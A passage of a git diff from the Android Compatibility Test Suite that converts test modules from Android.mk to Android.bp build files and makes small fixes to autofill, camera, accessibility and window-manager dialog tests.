-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.bp b/tests/JobSchedulerSharedUid/shareduid/Android.bp
new file mode 100644
index 0000000..68ed7f5
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJobSchedulerSharedUid",
+    defaults: ["cts_defaults"],
+    static_libs: ["compatibility-device-util-axt"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.mk b/tests/JobSchedulerSharedUid/shareduid/Android.mk
deleted file mode 100644
index cfc89cd..0000000
--- a/tests/JobSchedulerSharedUid/shareduid/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUid
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index d535fab..5718c21 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -355,6 +355,11 @@
                     " - Watches have different notification system.");
             return;
         }
+        if (pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE)) {
+            Log.i(LOG_TAG, "Skipping: testTypeNotificationStateChangedAccessibilityEvent" +
+                    " - Automotive handle notifications differently.");
+            return;
+        }
 
         String message = getActivity().getString(R.string.notification_message);
 
diff --git a/tests/autofillservice/res/layout/view_attribute_test_activity.xml b/tests/autofillservice/res/layout/view_attribute_test_activity.xml
index d03d65c..bcb7ff1 100644
--- a/tests/autofillservice/res/layout/view_attribute_test_activity.xml
+++ b/tests/autofillservice/res/layout/view_attribute_test_activity.xml
@@ -69,21 +69,21 @@
                 android:layout_height="wrap_content"
                 android:layout_width="wrap_content"
                 android:paddingTop="23px"
-                android:paddingBottom="31px"
+                android:paddingBottom="11px"
                 android:paddingLeft="37px"
                 android:paddingRight="29px"
                 android:orientation="vertical"
                 android:background="#00F"
                 android:importantForAutofill="yes">
                 <EditText android:id="@+id/tripleNestedView"
-                    android:layout_height="41px"
+                    android:layout_height="11px"
                     android:layout_width="43px"
                     android:background="#FF0"
                     android:importantForAutofill="yes" />
             </LinearLayout>
 
             <EditText android:id="@+id/secondDoubleNestedView"
-                android:layout_height="47px"
+                android:layout_height="17px"
                 android:layout_width="53px"
                 android:background="#F0F"
                 android:importantForAutofill="yes" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index e0313c6..775061c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -26,6 +26,7 @@
 import android.view.autofill.AutofillValue;
 import android.widget.EditText;
 
+
 import androidx.annotation.IdRes;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
@@ -182,15 +183,14 @@
                     // check size of outerView
                     AssistStructure.ViewNode outerView = findNodeByResourceId(structure,
                             "outerView");
-
                     // The size of the view should include all paddings and size of all children
                     assertThat(outerView.getHeight()).isEqualTo(
                             2             // outerView.top
                                     + 11  // nestedView.top
                                     + 23  // doubleNestedView.top
-                                    + 41  // tripleNestedView.height
-                                    + 47  // secondDoubleNestedView.height
-                                    + 31  // doubleNestedView.bottom
+                                    + 11  // tripleNestedView.height
+                                    + 17  // secondDoubleNestedView.height
+                                    + 11  // doubleNestedView.bottom
                                     + 17  // nestedView.bottom
                                     + 5); // outerView.bottom
                     assertThat(outerView.getWidth()).isEqualTo(
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
index 698aa44..0cde04e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
@@ -284,7 +284,9 @@
 
         // Fill in some stuff
         mActivity.mUsername.setText("foo");
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
         focusToPasswordExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
         mActivity.mPassword.setText("bar");
 
         // Change URL bar before views become invisible
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index e74405f..6a16b10 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -913,12 +913,14 @@
             Log.i(TAG, String.format(
                     "Testing Camera %s for abandoning surface of a repeating request", id));
 
-            openDevice(id);
-            if (!mStaticInfo.isColorOutputSupported()) {
+            StaticMetadata staticInfo = mAllStaticInfo.get(id);
+            if (!staticInfo.isColorOutputSupported()) {
                 Log.i(TAG, "Camera " + id + " does not support color output, skipping");
                 continue;
             }
 
+            openDevice(id);
+
             try {
 
                 SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
index 2b91190..b445091 100755
--- a/tests/framework/base/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -140,7 +140,6 @@
         />
         <activity android:name=".LaunchIntoPinnedStackPipActivity"
                   android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
                   androidprv:alwaysFocusable="true"
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
                   android:exported="true"
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
index 8c3941f5..74f4546 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -106,10 +106,11 @@
         launchActivity(DEBUGGABLE_APP_ACTIVITY);
 
         executeShellCommand(getStopProfileCmd(DEBUGGABLE_APP_ACTIVITY));
-        // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+
+        // Sleep for 0.3 second (300 milliseconds) so the generation of the profiling
         // file is complete.
         try {
-            Thread.sleep(100);
+            Thread.sleep(300);
         } catch (InterruptedException e) {
             //ignored
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index 9554f69..822d103 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -56,7 +56,6 @@
     static final String TEST_WITH_MARGINS = "WithMargins";
 
     private AlertDialog mDialog;
-    private int mSize;
 
     @Override
     protected void onStop() {
@@ -72,7 +71,6 @@
 
     private void setupTest(Intent intent) {
         final String testCase = intent.getStringExtra(EXTRA_TEST_CASE);
-        mSize = getSize();
         switch (testCase) {
             case TEST_MATCH_PARENT:
                 testMatchParent();
@@ -145,23 +143,23 @@
 
     private void testExplicitSize() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
         });
     }
 
     private void testExplicitSizeTopLeftGravity() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.gravity = Gravity.TOP | Gravity.LEFT;
         });
     }
 
     private void testExplicitSizeBottomRightGravity() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
         });
     }
@@ -211,15 +209,10 @@
             params.gravity = Gravity.LEFT | Gravity.TOP;
             params.horizontalMargin = .25f;
             params.verticalMargin = .35f;
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.x = 0;
             params.y = 0;
         });
     }
-
-    private int getSize() {
-        float density = getResources().getDisplayMetrics().density;
-        return (int)(200 * density);
-    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 4d3fe61..c7208f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -47,7 +47,6 @@
 import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
-import org.junit.Before;
 
 import java.util.List;
 
@@ -68,11 +67,6 @@
             new ActivityTestRule<>(DialogFrameTestActivity.class, false /* initialTOuchMode */,
                     false /* launchActivity */);
 
-    @Before
-    public void setUp() {
-        mSize = getSize();
-    }
-
     @Override
     ComponentName activityName() {
         return DIALOG_FRAME_TEST_ACTIVITY;
@@ -123,7 +117,6 @@
     }
 
     private static final int explicitDimension = 200;
-    private int mSize = explicitDimension;
 
     // The default gravity for dialogs should center them.
     @Test
@@ -131,10 +124,10 @@
         doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
             Rect contentFrame = parent.getContentFrame();
             Rect expectedFrame = new Rect(
-                    contentFrame.left + (contentFrame.width() - mSize) / 2,
-                    contentFrame.top + (contentFrame.height() - mSize) / 2,
-                    contentFrame.left + (contentFrame.width() + mSize) / 2,
-                    contentFrame.top + (contentFrame.height() + mSize) / 2);
+                    contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+                    contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+                    contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+                    contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -146,8 +139,8 @@
             Rect expectedFrame = new Rect(
                     contentFrame.left,
                     contentFrame.top,
-                    contentFrame.left + mSize,
-                    contentFrame.top + mSize);
+                    contentFrame.left + explicitDimension,
+                    contentFrame.top + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -157,8 +150,8 @@
         doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
             Rect contentFrame = parent.getContentFrame();
             Rect expectedFrame = new Rect(
-                    contentFrame.left + contentFrame.width() - mSize,
-                    contentFrame.top + contentFrame.height() - mSize,
+                    contentFrame.left + contentFrame.width() - explicitDimension,
+                    contentFrame.top + contentFrame.height() - explicitDimension,
                     contentFrame.left + contentFrame.width(),
                     contentFrame.top + contentFrame.height());
             assertEquals(expectedFrame, dialog.getFrame());
@@ -243,8 +236,8 @@
             Rect expectedFrame = new Rect(
                     (int) (horizontalMargin * frame.width() + frame.left),
                     (int) (verticalMargin * frame.height() + frame.top),
-                    (int) (horizontalMargin * frame.width() + frame.left) + mSize,
-                    (int) (verticalMargin * frame.height() + frame.top) + mSize);
+                    (int) (horizontalMargin * frame.width() + frame.left) + explicitDimension,
+                    (int) (verticalMargin * frame.height() + frame.top) + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -258,10 +251,4 @@
                 assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
         );
     }
-
-    private int getSize() {
-        float density =
-                InstrumentationRegistry.getContext().getResources().getDisplayMetrics().density;
-        return (int)(200 * density);
-    }
 }
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
new file mode 100644
index 0000000..1309bcb
--- /dev/null
+++ b/tests/inputmethod/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInputMethodTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    compile_multilib: "both",
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "CtsMockInputMethodLib",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+    aidl: {
+        local_include_dirs: ["src"],
+    },
+    sdk_version: "test_current",
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
deleted file mode 100644
index 1315844..0000000
--- a/tests/inputmethod/Android.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    CtsMockInputMethod
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-Iaidl-files-under, src)
-
-LOCAL_AIDL_INCLUDES += $(LOCAL_PATH)/src
-
-LOCAL_PACKAGE_NAME := CtsInputMethodTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
new file mode 100644
index 0000000..81a8f08
--- /dev/null
+++ b/tests/inputmethod/mockime/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "CtsMockInputMethodLib",
+    sdk_version: "test_current",
+
+    // TODO: ideally we should split MockIme source files into three categories
+    //       1) common, 2) common + IME-only, and 3) common + client-only.
+    //       Currently, both MockIme APK and test APKs that use MockIme contain
+    //       all the Java classes, which is inefficient.
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+    ],
+}
+
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
deleted file mode 100644
index 2265b34..0000000
--- a/tests/inputmethod/mockime/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsMockInputMethod
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-LOCAL_STATIC_JAVA_LIBRARIES := \
-   androidx.annotation_annotation \
-   compatibility-device-util-axt
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/jdwp/OWNERS b/tests/jdwp/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/tests/jdwp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/tests/libcore/Android.mk b/tests/libcore/Android.mk
deleted file mode 100644
index 00d1223..0000000
--- a/tests/libcore/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the test APK using its own makefile, and any other CTS-related packages
-include $(call all-subdir-makefiles)
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
new file mode 100644
index 0000000..83e0331
--- /dev/null
+++ b/tests/libcore/jsr166/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreJsr166TestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "cts-core-test-runner-axt",
+        "jsr166-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
deleted file mode 100644
index 3cb2bfa..0000000
--- a/tests/libcore/jsr166/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreJsr166TestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-core-test-runner-axt \
-    jsr166-tests
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
new file mode 100644
index 0000000..a754ce4
--- /dev/null
+++ b/tests/libcore/luni/Android.bp
@@ -0,0 +1,63 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "apache-harmony-tests",
+        "conscrypt-tests",
+        "core-tests",
+        "cts-core-test-runner-axt",
+        "mockito-target-minus-junit4",
+        "time_zone_distro-tests",
+        "time_zone_distro_installer-tests",
+    ],
+    dex_preopt: {
+        enabled: false,
+    },
+    dxflags: ["--multi-dex"],
+    // Exclude apache harmony tests from coverage instrumentation, since it breaks
+    // the tests of reflection APIs by adding fields and methods to the test classes.
+    jacoco: {
+        exclude_filter: ["org.apache.harmony.tests.**"],
+    },
+    optimize: {
+        enabled: false,
+    },
+    jni_libs: [
+        "libjavacoretests",
+        "libsqlite_jni",
+        "libnativehelper_compat_libc++",
+        "libc++",
+    ],
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // This test requires cts-dalvik-host-test-runner to be built to run via Atest.
+    host_required: ["cts-dalvik-host-test-runner"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
+    // continuous build configurations, so it's not referenced in AndroidTest.xml
+    java_resources: [
+        ":libcore-expectations-knownfailures",
+        ":libcore-expectations-virtualdeviceknownfailures",
+    ],
+}
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
deleted file mode 100644
index 2ba08cb..0000000
--- a/tests/libcore/luni/Android.mk
+++ /dev/null
@@ -1,66 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    apache-harmony-tests \
-    conscrypt-tests \
-    core-tests \
-    cts-core-test-runner-axt \
-    mockito-target-minus-junit4 \
-    time_zone_distro-tests \
-    time_zone_distro_installer-tests
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-LOCAL_DX_FLAGS := --multi-dex
-
-# Exclude apache harmony tests from coverage instrumentation, since it breaks
-# the tests of reflection APIs by adding fields and methods to the test classes.
-LOCAL_JACK_COVERAGE_EXCLUDE_FILTER := org.apache.harmony.tests.*
-
-LOCAL_PROGUARD_ENABLED := disabled
-# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
-LOCAL_DONT_DELETE_JAR_META_INF := true
-LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# This test requires cts-dalvik-host-test-runner to be built to run via Atest.
-LOCAL_HOST_REQUIRED_MODULES := cts-dalvik-host-test-runner
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
-# continuous build configurations, so it's not referenced in AndroidTest.xml
-LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/knownfailures.txt \
-    libcore/expectations/virtualdeviceknownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
new file mode 100644
index 0000000..83fe2aa
--- /dev/null
+++ b/tests/libcore/ojluni/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreOjTestCases",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    static_libs: ["core-ojtests-public"],
+    libs: ["testng"],
+    dxflags: ["--core-library"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    // Include both the 32 and 64 bit versions of libjavacoretests,
+    // where applicable.
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
deleted file mode 100644
index 8354615..0000000
--- a/tests/libcore/ojluni/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreOjTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    core-ojtests-public
-
-LOCAL_JAVA_LIBRARIES := testng
-
